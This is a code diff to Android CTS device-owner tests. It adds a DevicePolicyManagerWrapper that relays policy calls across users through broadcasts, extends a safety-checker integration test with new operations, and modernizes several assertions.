+        mDevicePolicyManager = DevicePolicyManagerWrapper.get(mContext);
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mUserId = mContext.getUserId();
+
         assertDeviceOwner();
     }
 
     private void assertDeviceOwner() {
-        assertNotNull(mDevicePolicyManager);
-        assertTrue(mDevicePolicyManager.isAdminActive(getWho()));
-        assertTrue(mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName()));
-        assertFalse(mDevicePolicyManager.isManagedProfile(getWho()));
+        int myUserId = UserHandle.myUserId();
+        assertWithMessage("DPM for user %s", myUserId).that(mDevicePolicyManager).isNotNull();
+
+        ComponentName admin = getWho();
+        assertWithMessage("Component %s is admin for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isAdminActive(admin)).isTrue();
+
+        String pkgName = mContext.getPackageName();
+        assertWithMessage("Component %s is device owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isDeviceOwnerApp(pkgName)).isTrue();
+        assertWithMessage("Component %s is profile owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isManagedProfile(admin)).isFalse();
     }
 
     protected ComponentName getWho() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index 37b3ed7..efab90d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -20,6 +20,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.UserHandle;
+
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
 public class BasicAdminReceiver extends DeviceAdminReceiver {
@@ -40,6 +41,15 @@
     }
 
     @Override
+    public void onReceive(Context context, Intent intent) {
+        if (intent.getAction().equals(DevicePolicyManagerWrapper.ACTION_WRAPPED_DPM_CALL)) {
+            DevicePolicyManagerWrapper.onReceive(this, context, intent);
+            return;
+        }
+        super.onReceive(context, intent);
+    }
+
+    @Override
     public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
         super.onUserAdded(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_ADDED, userHandle);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
new file mode 100644
index 0000000..8ff7e4af
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicyManagerWrapper.java
@@ -0,0 +1,409 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
+
+import android.annotation.Nullable;
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.os.UserHandle;
+import android.os.UserManager;
+import android.util.DebugUtils;
+import android.util.Log;
+import android.util.Slog;
+
+import org.mockito.Mockito;
+import org.mockito.stubbing.Answer;
+
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Class used to create to provide a {@link DevicePolicyManager} implementation that automatically
+ * funnels calls between the user running the tests and the user that is the device owner.
+ */
+// TODO(b/176993670): STOPSHIP - it currently uses ordered broadcasts and a Mockito spy to implement
+// the IPC between users, but before S is shipped it should be changed to use the connected apps SDK
+// or the new CTS infrastructure.
+public final class DevicePolicyManagerWrapper {
+
+    private static final String TAG = DevicePolicyManagerWrapper.class.getSimpleName();
+    private static final boolean VERBOSE = false;
+
+    static final String ACTION_WRAPPED_DPM_CALL =
+            "com.android.cts.deviceowner.action.WRAPPED_DPM_CALL";
+
+    private static final String EXTRA_METHOD = "methodName";
+    private static final String EXTRA_NUMBER_ARGS = "number_args";
+    private static final String EXTRA_ARG_PREFIX = "arg_";
+
+    // NOTE: Bundle has a putObject() method that would make it much easier to marshal the args,
+    // but unfortunately there is no Intent.putObjectExtra() method (and intent.getBundle() returns
+    // a copy, so we need to explicitly marshal any supported type).
+    private static final String TYPE_BOOLEAN = "boolean";
+    private static final String TYPE_STRING = "string";
+    private static final String TYPE_LONG = "long";
+    private static final String TYPE_PARCELABLE = "parcelable";
+    private static final String TYPE_SERIALIZABLE = "serializable";
+    private static final String TYPE_ARRAY_LIST_STRING = "array_list_string";
+
+    public static final int RESULT_OK = 42;
+    public static final int RESULT_EXCEPTION = 666;
+
+    private static final int TIMEOUT_MS = 15_000;
+
+    private static final HashMap<Context, DevicePolicyManager> sSpies = new HashMap<>();
+
+    /***
+     * Gets the {@link DevicePolicyManager} for the given context.
+     *
+     * <p>Tests should use this method to get a {@link DevicePolicyManager} instance.
+     */
+    public static DevicePolicyManager get(Context context) {
+        int userId = context.getUserId();
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+
+        if (!UserManager.isHeadlessSystemUserMode()) {
+            if (VERBOSE) Log.v(TAG, "get(): returning 'pure' DevicePolicyManager: " + dpm);
+            return dpm;
+        }
+
+        DevicePolicyManager spy = sSpies.get(context);
+        if (spy != null) {
+            Log.d(TAG, "get(): returning cached spy for context " + context + " and user "
+                    + userId);
+            return spy;
+        }
+
+        spy = Mockito.spy(dpm);
+
+        Answer<?> answer = (inv) -> {
+            Slog.d(TAG, "spying " + inv);
+            Object[] args = inv.getArguments();
+            String methodName = inv.getMethod().getName();
+            Intent intent = new Intent(ACTION_WRAPPED_DPM_CALL)
+                    .setClassName(context, BasicAdminReceiver.class.getName())
+                    .putExtra(EXTRA_METHOD, methodName)
+                    .putExtra(EXTRA_NUMBER_ARGS, args.length);
+            for (int i = 0; i < args.length; i++) {
+                addArg(intent, args, i);
+            }
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final AtomicReference<Result> resultRef = new AtomicReference<>();
+            BroadcastReceiver myReceiver = new BroadcastReceiver() {
+                public void onReceive(Context context, Intent intent) {
+                    if (VERBOSE) {
+                        Log.v(TAG, "spy received intent " + intent.getAction() + " for user "
+                                + context.getUserId());
+                    }
+                    Result result = new Result(this);
+                    if (VERBOSE) Log.v(TAG, "result:" + result);
+                    resultRef.set(result);
+                    latch.countDown();
+                };
+
+            };
+            if (VERBOSE) {
+                Log.v(TAG, "Broadcasting intent from user "  + userId + " to user "
+                        + UserHandle.SYSTEM);
+            }
+            runWithShellPermissionIdentity(() -> context.sendOrderedBroadcastAsUser(intent,
+                    UserHandle.SYSTEM, /* permission= */ null, myReceiver, /* scheduler= */ null,
+                    /* initialCode= */ 0, /* initialData= */ null, /* initialExtras= */ null));
+
+            if (VERBOSE) Log.d(TAG, "Waiting for response");
+            if (!latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                fail("Ordered broadcast for " + methodName + "() not received in " + TIMEOUT_MS
+                        + "ms");
+            }
+
+            Result result = resultRef.get();
+            Log.d(TAG, "Received result on user " + userId + ": " + result);
+
+            switch (result.code) {
+                case RESULT_OK:
+                    return result.value;
+                case RESULT_EXCEPTION:
+                    throw (Exception) result.value;
+                default:
+                    fail("Received invalid result" + result);
+                    return null;
+            }
+        };
+
+        // TODO(b/176993670): ideally there should be a way to automatically mock all DPM methods,
+        // but that's probably not doable, as there is no contract (such as an interface) to specify
+        // which ones should be spied and which ones should not (in fact, if there was an interface,
+        // we wouldn't need Mockito and could wrap the calls using java's DynamicProxy
+
+        // Basic methods used by most tests
+        doAnswer(answer).when(spy).isAdminActive(any());
+        doAnswer(answer).when(spy).isDeviceOwnerApp(any());
+        doAnswer(answer).when(spy).isManagedProfile(any());
+        doAnswer(answer).when(spy).isProfileOwnerApp(any());
+        doAnswer(answer).when(spy).isAffiliatedUser();
+
+        // Used by SetTimeTest
+        doAnswer(answer).when(spy).setTime(any(), anyLong());
+        doAnswer(answer).when(spy).setTimeZone(any(), any());
+        doAnswer(answer).when(spy).setGlobalSetting(any(), any(), any());
+
+        // Used by UserControlDisabledPackagesTest
+        doAnswer(answer).when(spy).setUserControlDisabledPackages(any(), any());
+        doAnswer(answer).when(spy).getUserControlDisabledPackages(any());
+
+        // TODO(b/176993670): add more methods below as tests are converted
+
+        sSpies.put(context, spy);
+        Log.d(TAG, "get(): returning new spy for context " + context + " and user "
+                + userId);
+
+        return spy;
+    }
+
+    /**
+     * Handles the wrapped DPM call received by the {@link DeviceAdminReceiver}.
+     */
+    static void onReceive(DeviceAdminReceiver receiver, Context context, Intent intent) {
+        try {
+            String methodName = intent.getStringExtra(EXTRA_METHOD);
+            int numberArgs = intent.getIntExtra(EXTRA_NUMBER_ARGS, 0);
+            Log.d(TAG, "onReceive(): userId=" + context.getUserId()
+                    + ", intent=" + intent.getAction() + ", methodName=" + methodName
+                    + ", numberArgs=" + numberArgs);
+            Object[] args = null;
+            if (numberArgs > 0) {
+                args =  new Object[numberArgs];
+                Bundle extras = intent.getExtras();
+                for (int i = 0; i < numberArgs; i++) {
+                    getArg(extras, args, i);
+                }
+                Log.d(TAG, "onReceive(): args=" + Arrays.toString(args));
+            }
+
+            Method method = null;
+            for (Method candidate : DevicePolicyManager.class.getDeclaredMethods()) {
+                if (candidate.getName().equals(methodName)) {
+                    // TODO(b/176993670): might need to use args to infer proper method if it's
+                    // overloaded
+                    method = candidate;
+                    break;
+                }
+            }
+            if (method == null) {
+                sendError(receiver, new IllegalArgumentException(
+                        "Could not find method " + methodName + " using reflection"));
+                return;
+            }
+            Object result = method.invoke(receiver.getManager(context), args);
+            Log.d(TAG, "onReceive(): result=" + result);
+            sendResult(receiver, result);
+        } catch (Exception e) {
+            sendError(receiver, e);
+        }
+        return;
+    }
+
+
+    static void addArg(Intent intent, Object[] args, int index) {
+        Object value = args[index];
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        if (VERBOSE) {
+            Log.v(TAG, "addArg(" + index + "): typeName= " + extraTypeName
+                    + ", valueName= " + extraValueName);
+        }
+        if ((value instanceof Boolean)) {
+            logMarshalling("Adding Boolean", index, extraTypeName, TYPE_BOOLEAN,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_BOOLEAN);
+            intent.putExtra(extraValueName, ((Boolean) value).booleanValue());
+            return;
+        }
+        if ((value instanceof String)) {
+            logMarshalling("Adding String", index, extraTypeName, TYPE_STRING,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_STRING);
+            intent.putExtra(extraValueName, (String) value);
+            return;
+        }
+        if ((value instanceof Long)) {
+            logMarshalling("Adding Long", index, extraTypeName, TYPE_LONG,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_LONG);
+            intent.putExtra(extraValueName, ((Long) value).longValue());
+            return;
+        }
+        if ((value instanceof Parcelable)) {
+            logMarshalling("Adding Parcelable", index, extraTypeName, TYPE_PARCELABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_PARCELABLE);
+            intent.putExtra(extraValueName, (Parcelable) value);
+            return;
+        }
+        if ((value instanceof Serializable)) {
+            logMarshalling("Adding Serializable", index, extraTypeName, TYPE_SERIALIZABLE,
+                    extraValueName, value);
+            intent.putExtra(extraTypeName, TYPE_SERIALIZABLE);
+            intent.putExtra(extraValueName, (Serializable) value);
+            return;
+        }
+        if ((value instanceof ArrayList<?>)) {
+            ArrayList<?> arrayList = (ArrayList<?>) value;
+            String type = null;
+            if (arrayList.isEmpty()) {
+                Log.w(TAG, "Empty list at index " + index + "; assuming it's ArrayList<String>");
+            } else {
+                Object firstItem = arrayList.get(0);
+                if (!(firstItem instanceof String)) {
+                    throw new IllegalArgumentException("Unsupported ArrayList type at index "
+                            + index + ": " + firstItem);
+                }
+                logMarshalling("Adding ArrayList<String>", index, extraTypeName,
+                        TYPE_ARRAY_LIST_STRING, extraValueName, value);
+                intent.putExtra(extraTypeName, TYPE_ARRAY_LIST_STRING);
+                intent.putExtra(extraValueName, (ArrayList<String>) arrayList);
+            }
+            return;
+        }
+
+        throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                + value.getClass());
+    }
+
+    static void getArg(Bundle extras, Object[] args, int index) {
+        String extraTypeName = getArgExtraTypeName(index);
+        String extraValueName = getArgExtraValueName(index);
+        String type = extras.getString(extraTypeName);
+        if (VERBOSE) {
+            Log.v(TAG, "getArg(" + index + "): typeName= " + extraTypeName + ", type=" + type
+                    + ", valueName= " + extraValueName);
+        }
+        Object value = null;
+        switch (type) {
+            case TYPE_ARRAY_LIST_STRING:
+            case TYPE_STRING:
+            case TYPE_BOOLEAN:
+            case TYPE_LONG:
+            case TYPE_PARCELABLE:
+            case TYPE_SERIALIZABLE:
+                value = extras.get(extraValueName);
+                logMarshalling("Got generic", index, extraTypeName, type, extraValueName,
+                        value);
+                break;
+            default:
+                throw new IllegalArgumentException("Unsupported value type at index " + index + ": "
+                        + extraTypeName);
+        }
+        args[index] = value;
+    }
+
+    static String getArgExtraTypeName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_type";
+    }
+
+    static String getArgExtraValueName(int index) {
+        return EXTRA_ARG_PREFIX + index + "_value";
+    }
+
+    private static void logMarshalling(String operation, int index, String typeName,
+            String type, String valueName, Object value) {
+        if (VERBOSE) {
+            Log.v(TAG, operation + " on " + index + ": typeName=" + typeName + ", type=" + type
+                    + ", valueName=" + valueName + ", value=" + value);
+        }
+    }
+
+    private static void sendError(DeviceAdminReceiver receiver, Exception e) {
+        Log.e(TAG, "Exception handling wrapped DPC call" , e);
+        sendNoLog(receiver, RESULT_EXCEPTION, e);
+    }
+
+    private static void sendResult(DeviceAdminReceiver receiver, Object result) {
+        if (VERBOSE) Log.v(TAG, "Returning " + result);
+        sendNoLog(receiver, RESULT_OK, result);
+    }
+
+    private static void sendNoLog(DeviceAdminReceiver receiver, int code, Object result) {
+        receiver.setResultCode(code);
+        if (result != null) {
+            Intent intent = new Intent();
+            addArg(intent, new Object[] { result }, /* index= */ 0);
+            receiver.setResultExtras(intent.getExtras());
+        }
+    }
+
+    private static String resultCodeToString(int code) {
+        return DebugUtils.constantToString(DevicePolicyManagerWrapper.class, "RESULT_", code);
+    }
+
+    private DevicePolicyManagerWrapper() {
+        throw new UnsupportedOperationException("contains only static methods");
+    }
+
+    private static final class Result {
+        public final int code;
+        @Nullable public final String error;
+        @Nullable public final Bundle extras;
+        @Nullable public final Object value;
+
+        Result(BroadcastReceiver receiver) {
+            int resultCode = receiver.getResultCode();
+            String data = receiver.getResultData();
+            extras = receiver.getResultExtras(/* makeMap= */ true);
+            Object parsedValue = null;
+            try {
+                if (extras != null && !extras.isEmpty()) {
+                    Object[] result = new Object[1];
+                    int index = 0;
+                    getArg(extras, result, index);
+                    parsedValue = result[index];
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "error parsing extras (code=" + resultCode + ", data=" + data, e);
+                data = "error parsing extras";
+                resultCode = RESULT_EXCEPTION;
+            }
+            code = resultCode;
+            error = data;
+            value = parsedValue;
+        }
+
+        @Override
+        public String toString() {
+            return "Result[code=" + resultCodeToString(code) + ", error=" + error
+                    + ", extras=" + extras + ", value=" + value + "]";
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index e3e8cf1..7578e8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -18,12 +18,18 @@
 import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
 import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
 import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REQUEST_BUGREPORT;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_HIDDEN;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_CAMERA_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_GLOBAL_PRIVATE_DNS;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEEP_UNINSTALLED_PACKAGES;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEYGUARD_DISABLED;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_FEATURES;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOGOUT_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_OVERRIDE_APNS_ENABLED;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_PACKAGES_SUSPENDED;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_STATUS_BAR_DISABLED;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_SETTING;
@@ -33,9 +39,11 @@
 import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
 import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
 import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_UNINSTALL_CA_CERT;
 import static android.app.admin.DevicePolicyManager.OPERATION_WIPE_DATA;
 
 import android.app.admin.DevicePolicyManager;
+import android.app.admin.FactoryResetProtectionPolicy;
 import android.content.ComponentName;
 import android.os.Bundle;
 import android.os.UserHandle;
@@ -51,14 +59,29 @@
  * {@link android.app.admin.DevicePolicySafetyChecker}.
  */
 public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOwnerTest {
-
     private static final int NO_FLAGS = 0;
     private static final UserHandle USER_HANDLE = UserHandle.of(42);
     public static final String TEST_PACKAGE = BasicAdminReceiver.class.getPackage().getName();
     public static final ComponentName TEST_COMPONENT = new ComponentName(
             TEST_PACKAGE, BasicAdminReceiver.class.getName());
+    public static final List<String> TEST_ACCOUNTS = Arrays.asList("Account 1");
     public static final List<String> TEST_PACKAGES = Arrays.asList(TEST_PACKAGE);
-
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n"
+            + "MIICVzCCAgGgAwIBAgIJAMvnLHnnfO/IMA0GCSqGSIb3DQEBBQUAMIGGMQswCQYD\n"
+            + "VQQGEwJJTjELMAkGA1UECAwCQVAxDDAKBgNVBAcMA0hZRDEVMBMGA1UECgwMSU1G\n"
+            + "TCBQVlQgTFREMRAwDgYDVQQLDAdJTUZMIE9VMRIwEAYDVQQDDAlJTUZMLklORk8x\n"
+            + "HzAdBgkqhkiG9w0BCQEWEHJhbWVzaEBpbWZsLmluZm8wHhcNMTMwODI4MDk0NDA5\n"
+            + "WhcNMjMwODI2MDk0NDA5WjCBhjELMAkGA1UEBhMCSU4xCzAJBgNVBAgMAkFQMQww\n"
+            + "CgYDVQQHDANIWUQxFTATBgNVBAoMDElNRkwgUFZUIExURDEQMA4GA1UECwwHSU1G\n"
+            + "TCBPVTESMBAGA1UEAwwJSU1GTC5JTkZPMR8wHQYJKoZIhvcNAQkBFhByYW1lc2hA\n"
+            + "aW1mbC5pbmZvMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ738cbTQlNIO7O6nV/f\n"
+            + "DJTMvWbPkyHYX8CQ7yXiAzEiZ5bzKJjDJmpRAkUrVinljKns2l6C4++l/5A7pFOO\n"
+            + "33kCAwEAAaNQME4wHQYDVR0OBBYEFOdbZP7LaMbgeZYPuds2CeSonmYxMB8GA1Ud\n"
+            + "IwQYMBaAFOdbZP7LaMbgeZYPuds2CeSonmYxMAwGA1UdEwQFMAMBAf8wDQYJKoZI\n"
+            + "hvcNAQEFBQADQQBdrk6J9koyylMtl/zRfiMAc2zgeC825fgP6421NTxs1rjLs1HG\n"
+            + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
+            + "-----END CERTIFICATE-----";
     private final DevicePolicySafetyCheckerIntegrationTester mTester =
             new DevicePolicySafetyCheckerIntegrationTester() {
 
@@ -66,14 +89,23 @@
         protected int[] getSafetyAwareOperations() {
             return new int [] {
                     OPERATION_CREATE_AND_MANAGE_USER,
+                    // TODO(b/175245108) Add test for this operation; testing
+                    // dpm.installSystemUpdate will require upload a test system update file.
+                    // OPERATION_INSTALL_SYSTEM_UPDATE,
                     OPERATION_REBOOT,
                     OPERATION_REMOVE_USER,
+                    OPERATION_REQUEST_BUGREPORT,
                     OPERATION_SET_APPLICATION_HIDDEN,
                     OPERATION_SET_APPLICATION_RESTRICTIONS,
+                    OPERATION_SET_CAMERA_DISABLED,
+                    OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
+                    OPERATION_SET_GLOBAL_PRIVATE_DNS,
                     OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
                     OPERATION_SET_KEYGUARD_DISABLED,
                     OPERATION_SET_LOCK_TASK_FEATURES,
                     OPERATION_SET_LOCK_TASK_PACKAGES,
+                    OPERATION_SET_LOGOUT_ENABLED,
+                    OPERATION_SET_OVERRIDE_APNS_ENABLED,
                     OPERATION_SET_PACKAGES_SUSPENDED,
                     OPERATION_SET_STATUS_BAR_DISABLED,
                     OPERATION_SET_SYSTEM_SETTING,
@@ -83,6 +115,7 @@
                     OPERATION_START_USER_IN_BACKGROUND,
                     OPERATION_STOP_USER,
                     OPERATION_SWITCH_USER,
+                    OPERATION_UNINSTALL_CA_CERT,
                     OPERATION_WIPE_DATA
             };
         }
@@ -108,12 +141,28 @@
                 case OPERATION_REMOVE_USER:
                     dpm.removeUser(admin, USER_HANDLE);
                     break;
+                case OPERATION_REQUEST_BUGREPORT:
+                    dpm.requestBugreport(admin);
+                    break;
                 case OPERATION_SET_APPLICATION_HIDDEN:
                     dpm.setApplicationHidden(admin, TEST_PACKAGE, /* hidden= */true);
                     break;
                 case OPERATION_SET_APPLICATION_RESTRICTIONS:
                     dpm.setApplicationRestrictions(admin, TEST_PACKAGE, new Bundle());
                     break;
+                case OPERATION_SET_CAMERA_DISABLED:
+                    dpm.setCameraDisabled(admin, /* disabled= */ true);
+                    break;
+                case OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY:
+                    dpm.setFactoryResetProtectionPolicy(admin,
+                            new FactoryResetProtectionPolicy.Builder()
+                                    .setFactoryResetProtectionAccounts(TEST_ACCOUNTS)
+                                    .setFactoryResetProtectionEnabled(false)
+                                    .build());
+                    break;
+                case OPERATION_SET_GLOBAL_PRIVATE_DNS:
+                    dpm.setGlobalPrivateDnsModeOpportunistic(admin);
+                    break;
                 case OPERATION_SET_KEEP_UNINSTALLED_PACKAGES:
                     dpm.setKeepUninstalledPackages(admin, TEST_PACKAGES);
                     break;
@@ -126,6 +175,12 @@
                 case OPERATION_SET_LOCK_TASK_PACKAGES:
                     dpm.setLockTaskPackages(admin, new String[] { TEST_PACKAGE });
                     break;
+                case OPERATION_SET_LOGOUT_ENABLED:
+                    dpm.setLogoutEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_OVERRIDE_APNS_ENABLED:
+                    dpm.setOverrideApnsEnabled(admin, /* enabled */ true);
+                    break;
                 case OPERATION_SET_PACKAGES_SUSPENDED:
                     dpm.setPackagesSuspended(admin,  new String[] { TEST_PACKAGE },
                             /* suspend= */ true);
@@ -155,6 +210,9 @@
                 case OPERATION_SWITCH_USER:
                     dpm.switchUser(admin, USER_HANDLE);
                     break;
+                case OPERATION_UNINSTALL_CA_CERT:
+                    dpm.uninstallCaCert(admin, TEST_CA.getBytes());
+                    break;
                 case OPERATION_WIPE_DATA:
                     if (overloaded) {
                         dpm.wipeData(NO_FLAGS,
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
index 5280e06..bf85af0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
@@ -126,7 +126,7 @@
                 mContext,
                 REQUEST_CODE,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index de1dd55..927520a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
@@ -23,7 +26,6 @@
 import android.util.Log;
 
 import java.util.ArrayList;
-import java.util.Collections;
 
 /**
  * Test {@link DevicePolicyManager#setUserControlDisabledPackages} and
@@ -44,13 +46,12 @@
         ArrayList<String> protectedPackages= new ArrayList<>();
         protectedPackages.add(SIMPLE_APP_PKG);
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), protectedPackages);
-
-        // Launch app so that the app exits stopped state.
+        // Launch an activity so that the app exits stopped state.
         Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.setClassName(SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Log.d(TAG, "Starting " + intent + " on user " + mUserId);
         mContext.startActivity(intent);
-
     }
 
     public void testForceStopWithUserControlDisabled() throws Exception {
@@ -59,29 +60,35 @@
         // Check if package is part of UserControlDisabledPackages before checking if 
         // package is stopped since it is a necessary condition to prevent stopping of
         // package
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
-        assertFalse(isPackageStopped(SIMPLE_APP_PKG));
+
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+                .containsExactly(SIMPLE_APP_PKG);
+        assertPackageStopped(/* stopped= */ false);
     }
 
     public void testClearSetUserControlDisabledPackages() throws Exception {
         final ArrayList<String> pkgs = new ArrayList<>();
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), pkgs);
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     public void testForceStopWithUserControlEnabled() throws Exception {
-        assertTrue(isPackageStopped(SIMPLE_APP_PKG));
-        assertEquals(Collections.emptyList(),
-                mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertPackageStopped(/* stopped= */ true);
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     private boolean isPackageStopped(String packageName) throws Exception {
         PackageInfo packageInfo = mContext.getPackageManager()
                 .getPackageInfo(packageName, PackageManager.GET_META_DATA);
-        Log.d(TAG, "Application flags for " + packageName + " = "
-                + Integer.toHexString(packageInfo.applicationInfo.flags));
-        return ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
-                == ApplicationInfo.FLAG_STOPPED) ? true : false;
+        boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
+                == ApplicationInfo.FLAG_STOPPED;
+        Log.d(TAG, "Application flags for " + packageName + " on user " + mUserId + " = "
+                + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
+        return stopped;
     }
 
+    private void assertPackageStopped(boolean stopped) throws Exception {
+        assertWithMessage("Package %s stopped for user %s", SIMPLE_APP_PKG, mUserId)
+                .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
+    }
 }
